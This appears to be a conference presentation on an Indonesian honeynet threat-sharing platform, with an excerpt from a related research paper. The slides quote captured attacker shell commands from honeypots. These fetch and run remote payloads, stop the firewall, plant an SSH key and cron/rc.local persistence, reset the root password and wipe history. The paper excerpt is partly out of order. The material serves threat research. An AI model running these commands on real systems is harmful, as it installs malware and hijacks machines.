



## Honeynet Threat Sharing Platform



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### About Me



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#### **Research Interest**

- Malware
- Intrusion Detection
- Vulnerability Analysis
- Digital Forensics
- Cloud Security

Community

Man Sin

Indonesia Honeynet Project - Chapter Lead Academy CSIRT – member Asosiasi Forensik Digital Indonesia - member









## ISIF Asia Research Grant Sept 2019





#### Announcing – ISIF Asia Research Grant

## isif asia GRANTS 2019 USD 20,000

Honeynet Threat Sharing Platform Swiss German University (SGU) Badan Siber & Sandi Negara (BSSN) and Indonesia Honeynet Project (IHP)



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## 2 YEARS

#### **Grant winners**

#### **Network Operations Research Grants**

**BSSN** 

**Honeynet threat sharing platform.** SGU, BSSN (Badan Siber & Sandi Negara) and Indonesia Honeynet Project (IHP). Indonesia. USD 20,000

The goal of the project is to develop and implement a honeynet threat sharing platform that will collect, store and add contextual information of cybersecurity threats. This information would then be shared with relevant organizations. The project will first be implemented in Indonesia, with future enhancements of the platform to expand to other Asia Pacific economies.



IHP





## Agenda

- Honeypots
- Indonesia Honeynet Project Threat Map
- Threat Sharing Platform
- Honeypot-detected Threats
- Analyzing Campaign Timeline
- Research Output
- Q & A







## Honeypots





## Honeypots






- A **decoy** system to lure attacker to interact with it
- It **emulates** popular services, such as Web, SMB, SSH and others
- It is placed together with other network services
- It does not contain any useful information







## Honeypots in the network








### How Honeypot works








## Indonesia Honeynet Project (IHP) Threat Map





#### Early Warning System (Honeynet Portal at BSSN)








## Threat Sharing Platform Architecture










# **Exploring Honeypot Detected Threats**






#### Honeynet Threat Channels

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Honeynet Cowrie Threat Example



### Attacking IP Address:

35.202.41.48

#### Shell Command Set: (SCSXXX)

cd /tmp; wget http://37.49.224.100/zeros6x.sh; chmod 777 zeros6x.sh; ./zeros6x.sh

#### **URLs:**

http://37.49.224.100/zeros6x.sh

#### Hash:

f50da447e130d02cb8abc55b6bf7816878f276ece0ca739750adc1dca7c1ddc5

#### **Credentials Used (multiple instances – user id : password):**

root : root123 | root : p@ssw0rd | root : 123 | root : password | root : 123456 | root : root








Threat Categories (Shell Command Set - SCSXXX)		
Commands	Threat Category	Mitre att&ck Technique
cd /tmp	Usable Directory Discovery	T1083 – File and Directory Discovery
wget http://37.49.224.1 00/zeros6x.sh;	Download Tools	T1105, T843 – Remote File Copy & Program Download
chmod 777	File Permission	T1222 - File and Directory
<pre>zeros6x.sh;</pre>	Modification	Permissions Modification
./zeros6x.sh	Execution of Tools	T1059 – Command & Scripting Interpreter





### Threat Correlation (Virustotal Graph)







## Our Threat Sharing Platform (Dashboard)





### Public Dashboard

Dashboard CSCISAC-PUBLIC-DASHBOARD

## 2 (YEARS)

0

60

 $\square$ 







### **Threat Category Monitoring**

#### CSCISAC-PUBLIC-top30-ThreatCategory




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### **Threat Pattern Monitoring**











## Analyzing Campaign Timeline






## Every Pattern has their Campaign Timeline



Pattern Code = SCS005 – Sys Profiling & Persistence

cat /proc/cpuinfo | grep name | wc -1, echo "root:DFISLfedx5dT"|chpasswd|bash, cat /proc/cpuinfo | grep name | head -n 1 | awk '{print \$4,\$5,\$6,\$7,\$8,\$9;}', free -m | grep Mem | awk '{print \$2,\$3, \$4, \$5, \$6, \$7}', ls -lh \$(which ls), which ls, crontab -1, w, uname -m, cat /proc /cpuinfo | grep model | grep name | wc -1, top, uname, uname -a, lscpu | grep Model, cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nza C1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrT0rbMz1+5073fcB0x8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GV0mNx+9EuWOnvNoaJe0QXxziIg9 eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJ0K8rvcEmPecjdySYMb66ny1AKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnv1C8hGmd4Ww+u97k6pf TGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>>.ssh/authorized\_keys && chmod -R go= ~/.ssh && cd ~





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## Every Pattern has their Campaign Timeline



Pattern Code = SCS006 – Disable FW, Tool Execution & Persistence

service iptables stop, wget http://49.233.56.165:89/ubjq, chmod 777 ubjq, ./ubjq, chmod 0755 /root/ubjq, nohup /root/ubjq > /dev/null 2>&am
p;1 &, chmod 0777 ubjq, chmod u+x ubjq, ./ubjq &, chmod u+x ubjq, ./ubjq &, cd /tmp, service iptables stop, wget http://49.233.56.165:89/xnj
q, ./164, chmod 0755 /root/xnjq, nohup /root/xnjq > /dev/null 2>&1 &, chmod 0777 xnjq, chmod u+x xnjq, ./xnjq &, chmod u+x dos6cc4,
./xnjq &, cd /tmp, echo "cd /root/">>/etc/rc.local, echo "./ubjq&">/etc/rc.local, echo "./xnjq&">>/etc/rc.local, echo "./xnjq&">>/etc/rc.local, echo "./xnjq&">>/etc/rc.local, echo "./ubjq&">>/etc/rc.local, echo "./xnjq&">>/etc/rc.local, echo "./xnjq&">>/etc/rc.local









## Every Pattern has their Campaign Timeline

Pattern Code = SCS010 – Tool Execution and Covering Track

cd /tmp; wget http://45.143.220.55/5311qjmikurawepedalnqmashrabotatuk61119123c/infn.x86; chmod 777 i nfn.x86; ./infn.x86 servers; rm -rf \*





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## Similar Attack from same Threat Actor

wget http://5.9.248.17/5311qjmikurawepedalnqmashrabotatuk61119123c/KigaNet.x86; chmod 777 \*; ./KigaN et.x86 Roots;rm -rf KigaNet.x86; rm -rf KigaNet.x86; history -c

cd /tmp; wget http://45.143.220.55/5311qjmikurawepedalnqmashrabotatuk61119123c/infn.x86; chmod 777 i
nfn.x86; ./infn.x86 servers; rm -rf \*

#### Attacks on June 2020

wget http://xpodip.ir/5311qjmikurawepedalnqmashrabotatuk61119123c/KigaNet.x86; chmod 777 \*; ./KigaNe t.x86 Roots;rm -rf KigaNet.x86; wget https://xpodip.ir/infectedn.sh; chmod 777 infectedn.sh; sh infe ctedn.sh; rm -rf Kiga\*; rm -rf inf\*; history -c

wget http://193.228.91.124/5311qjmikurawepedalnqmashrabotatuk61119123c/KigaNet.x86; chmod 777 \*; ./K
igaNet.x86 Roots;rm -rf KigaNet.x86; history -c

#### Attacks on May 2020

cd /tmp; wget http://37.49.226.49/5311qjmikurawepedalnqmashrabotatuk61119123c/infn.x86; chmod 777 \*; ./infn.x86 servers; rm -rf \*







## Our Research Output





### International Conference Paper (ICONETSI)



Indonesia Honeynet Project **SWISS GERMAN UNIVERSITY** 

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#### XT-Pot: eXposing Threat Category of Honeypot-based attacks

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their malicious intents, including compromising business critical systems

Another common method used by the adversaries is to deploy malware behind the website that looks legitimate for users to explore. With this strategy, malware packed with various malicious payload spreads even faster to many parts of the world. To start the process, attackers use various methods, and among them is to share some interesting link to the community about the latest event and wait for the victim to open the link. With today vast and inexpensive cloud infrastructure, deploying these systems in large scale takes minutes if not few hours of installation and configuration. In addition, these systems become the minefield for the attackers to design more sophisticated malware to probe more information to the targeted individuals or organizations.

To understand these growing threats, honeypot [19] has emerged to be the forefront of security researcher tools to capture the attackers' activities in the organizations. This decoy system, placed in the unused IP address of organization infrastructure, i.e. darknet [5], is designed to lure and capture adversaries' behavior in the acts. Hence, any connection attempt to this unused IP will be deemed as malicious. Honeypots are distinguished by the emulated services they offer to response to any of the possible connection request by the attackers, and they include common well known services such as SMB, HTTP, SSH, FTP, TFTP, MySQL, MSSQL, SIP and others. Once the threat behaviors are collected, they need to be pro-

cessed and analyzed to gain insight into what the attackers are up to and possible ramification of the attacks. Possible attack sequence including commands, scripts, and other malicious payload are some of the critical information need to be further analyzed and categorized. This threat information, also called threat intelligence, is useful for threat analyst in the organization to mitigate the threat risks caused. This research will introduce proposed framework to capture attack patterns, analysis of the capability of these threats, and threat categories for each of the attacks we learned from the honeypots.

Following are the contribution of this research:

- · We introduce a framework to analyze and generate the information based on the honeypots traffic.
- We propose a taxonomy of threat categories and capabilities. encompassing cyber security attacks to several well known services provided by honeypots.

The remainder of this paper is organized as follows: Section 2 describes previous works related to this paper. Section 3 explains research framework. Section 4 presents the experiment results and analysis of the experiments. Finally, section 5 concludes our research findings.

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its business, cyber security threat monitoring on the infrastructure for the emerging threats becomes essential. Honeypot, a decoy system, when properly placed in the organization network provides valuable insight into the behavior of attacker to the organization. In this research, we propose a generic framework to analyze and categorize threats collected from honeypots. These threat categories becomes the building block of threat intelligence to be shared used by security analyst in handling security incidents.

As organization infrastructure is getting more complex to support

#### CCS CONCEPTS

 Computer systems organization → Embedded systems; Redundancy; Robotics; • Networks → Network reliability.

#### **KEYWORDS**

ABSTRACT

Honeypot, Threat categorization, Threat Analysis, Malware analy-

#### **ACM Reference Format:**

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#### **1** INTRODUCTION

Malicious software (malware) has been one of the highest cyber security threats to organizations around the world that rely on Internet to perform their businesses. Purple sec [17] reported an exponential increase of malware volume as well as sophistication of malware used to attack these organizations. The adversaries have been taking advantage of human weaknesses, e.g. the desire of using free software including pirated software, to infect individual or business computers to achieve their goals. In this case, Trojan malware is among the popular malware used by adversaries to disguise itself as legitimate software [7] in the victim computers. The attackers are preparing to launch the next attack from these computers as they work their way into organizations to perform

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### Questions & Answers (Q&A)







